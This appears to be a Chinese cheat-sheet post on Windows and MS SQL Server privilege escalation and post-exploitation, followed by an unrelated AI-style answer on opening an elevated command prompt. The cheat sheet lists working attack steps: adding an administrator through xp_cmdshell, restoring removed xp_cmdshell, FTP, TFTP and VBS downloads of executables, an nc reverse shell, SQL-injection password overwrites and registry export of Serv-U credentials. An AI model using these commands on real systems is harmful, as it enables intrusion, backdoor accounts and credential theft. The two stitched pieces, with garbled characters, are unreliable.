提权整理贴

权限设置
cacls.exe c: /e /t /g everyone:F #把c盘设置为everyone可以浏览
cacls.exe d: /e /t /g everyone:F #把d盘设置为everyone可以浏览
cacls.exe e: /e /t /g everyone:F #把e盘设置为everyone可以浏览
cacls.exe f: /e /t /g everyone:F #把f盘设置为everyone可以浏览
cacls d:/website /g everyone /e /t授与完全控制
cacls d:/website /r everyone /e /t取消完全控制
SA加系统用户
exec master.dbo.xp_cmdshell 'net user admin admin /add'

exec master.dbo.xp_cmdshell 'net localgroup administrators admin /add'

恢复扩散
dbcc addextendedproc ("sp_OACreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

如果恢复不了的解释:
因为管理员是直接删除dll文件,而没删除存储过程,你这样恢复肯定是提示存储过程已存在了。你要先删除存储过程,use master
EXEC sp_dropextendedproc 'xp_cmdshell'

然后上传xplog70.dll到某个目录,例如C盘根目录,然后执行
use master dbcc addextendedproc('xp_cmdshell','c:/xplog70.dll')
就可以使用cmdshell存储过程执行系统指令了。

MB的没想到网关都能用NB这样设..落伍啦.落伍啦
把他设置成网关看看行不行.在NBSI执行命令那里输入:echo interface ip >ip.txt
echo set address "Backup" static 10.90.90.157 255.255.255.0 10.90.90.14 1 >>ip.txt
netsh exec ip.txt
这样就把网关设置为10.90.90.14了,然后我们ipconfig看看是不是有网关了,

echo interface ip >1.txt
echo set address "本地连接" static 192.168.1.2 255.255.255.0 192.168.1 254 1 >>1.txt
netsh exec 1.txt

address"本地连接的名称" 可以用ipconfig得到. static IP地址 子网掩码网关地址。
好了现在我PING下163看看能不能PING通,如图8

命令行FTP下载文件
echo open ip >11.txt
echo user >>11.txt
echo pass >>11.txt
echo get nc.exe >>11.txt
echo bye >>11.txt
ftp -s:11.txt

NC做反弹SHELL
在本地监听1234端口 nc -vv -l -p 1234

然后在NBSI执行命令那里nc -e cmd.exe ip 1234

改密码地
http://注入网址;update admin set password='新MD5密码' where password='旧MD5密码'-- [admin为表名.]

查看系统在线用户
query user
注销用户
logoff
D:/web/rar.exe a -k -r -s -m1 D:/web/zhu.rar D:/web/
把站点打包到zhu.rar里,

参数说明:

a 添加文件到压缩文件中

-k 锁定压缩文件

-s产生固体存档,这样可以增大压缩比

-r包括子目录

-m1 设置压缩比

-m0 存储 添加到压缩文件时不压缩文件。
-m1 最快 使用最快方式(低压缩)
-m2 较快 使用快速压缩方式
-m3 标准 使用标准(默认)压缩方式
-m4 较好 使用较好压缩方式(较好压缩,但是慢)
-m5 最好 使用最大压缩方式(最好的压缩,但是最慢

直接 D:/web/rar.exe a -r D:/web/zhu.rar D:/web/ 效果一样

exec xp_cmdshell 'echo 内容 >>绝对路径'

sc stop MSSQLSERVER
sc config MSSQLSERVER start= disabled

导SERV-U用户.和密码,不过现在版本密码加密了``

regedit /e "D:/hosting/wwwroot/systones_com/htdocs/su.ini" "HKEY_LOCAL_MACHINE/SOFTWARE/cat soft/serv-u/"

导入是regedit /s xx.reg

端口:HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp

tftp -i serverip get xx.exe

TFTP –I 127.0.0.1 get common.dll c:/common.dll

VBS
--
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://127.0.0.1/u.txt",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:/jp.exe",2

VPN
关防火和Application Layer Gateway Service

3389登陆
mstsc /console /v:IP:终端端口
<think>嗯,用户现在问的是如何用代码获得CMD的管理员限。之前他问过怎么清理C盘,可能现在在操作过程中遇到了需要管理员限的情况。比如在清理系统文件或者调整虚拟内存的时候,普通限的CMD可能不够用。 首先,我需要确认用户的需求是什么。他可能想要通过命令示符执行某些需要管理员限的操作,比如运行diskpart或者其他系统工具。这时候,知道如何以管理员身份启动CMD就很重要了。 接下来,我需要回忆不同的方法来获取管理员限的CMD。常见的有通过开始菜单右键选择,或者使用运行对话框输入命令。但用户明确要求的是“代码”,也就是通过命令行或者脚本的方式来启动管理员CMD。这时候可能需要使用一些特定的命令或者创建批处理文件。 比如,使用PowerShell命令来启动CMD,或者编写一个VBS脚本。不过,用户可能更倾向于简单的命令,而不是复杂的脚本。这时候,可以考虑使用runas命令,但runas需要知道管理员账户的密码,可能不太方便。 另一种方法是创建快捷方式,然后设置快捷方式以管理员限运行。虽然这不是纯代码的方式,但可以通过命令行创建这样的快捷方式。不过用户可能需要直接运行的代码,而不是创建快捷方式。 然后想到的是,使用PowerShell的一行命令来启动限的CMD。比如: powershell -Command "Start-Process cmd -Verb RunAs" 这个命令会在PowerShell中启动一个以管理员限运行的CMD窗口。这可能是一个简洁有效的方法,不需要输入密码,只需用户确认UAC示。 另外,用户可能希望用纯CMD的方式,但CMD本身没有直接限的命令,除非通过计划任务或者其他方法,但这些可能比较复杂。因此,PowerShell的方法可能更直接。 还需要考虑不同系统的兼容性,比如Windows 7、8、10、11等。上述的PowerShell命令在较新的系统上应该都有效,但需要确保PowerShell可用。 另外,醒用户注意UAC的示,因为任何限的操作都需要用户确认,除非UAC被关闭,但这不推荐。还要警告用户不要随意运行需要管理员限的未知命令,以防系统安全风险。 总结下来,最合适的回答应该是供几种不同的代码方法,包括PowerShell命令、批处理脚本和VBS脚本,同时说明每种方法的适用场景和注意事项。确保用户能够根据自身情况选择合适的方式,并且理解操作的安全风险。</think>以下是为您整理的获取CMD管理员限的多种代码方案,按安全等级排序: --- ### 一、临时方案(推荐) #### 1️⃣ PowerShell一步式(Win8+通用) ```powershell Start-Process cmd -Verb RunAs ``` * 执行方式:直接粘到普通CMD窗口或PowerShell窗口 * 特点:触发UAC弹窗确认后立即获得管理员限 #### 2️⃣ 批处理自动化(兼容Win7) 新建`.bat`文件写入: ```batch %1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit ``` * 效果:双击运行自动请求,通过UAC验证后以管理员身份重启CMD --- ### 二、永久方案(需谨慎) #### 3️⃣ 创建带管理员限的CMD快捷方式 ```batch powershell "$s=(New-Object -COM WScript.Shell).CreateShortcut('%userprofile%\Desktop\AdminCMD.lnk');$s.TargetPath='cmd.exe';$s.WorkingDirectory='%CD%';$s.Save()" powershell "$s=New-Object -ComObject Shell.Application; $s.Namespace('%userprofile%\Desktop').ParseName('AdminCMD.lnk').InvokeVerb('runas')" ``` * 产出:桌面生成永久管理员限的CMD快捷方式 --- ### 三、特殊场景方案 #### 4️⃣ 免交互静默(仅企业域环境可用) ```batch runas /user:Administrator "cmd /k" ``` * 需前设置:`gpedit.msc` → 计算机配置 → Windows设置 → 安全设置 → 本地策略 → 安全选项 → 用户账户控制: 管理员批准模式中管理员的示行为 → 设置为`不示,直接升` --- ### ⚠️ 关键注意事项 1. **UAC机制**:所有操作都会触发用户账户控制弹窗(除非手动关闭UAC) 2. **数字签名验证**:部分杀毒软件会拦截未签名的脚本 3. **高危操作防护**:后执行的`format`、`del`等命令将不受回收站保护 4. **替代方案推荐**:日常使用建议通过右键菜单选择"以管理员身份运行" --- ### 扩展检测(验证是否已获取限) 在CMD窗口执行: ```batch net session >nul 2>&1 && echo 当前是管理员限 || echo 普通用户限 ``` 建议优先使用系统内置方式,避免通过第三方工具获取限,以防引入安全风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值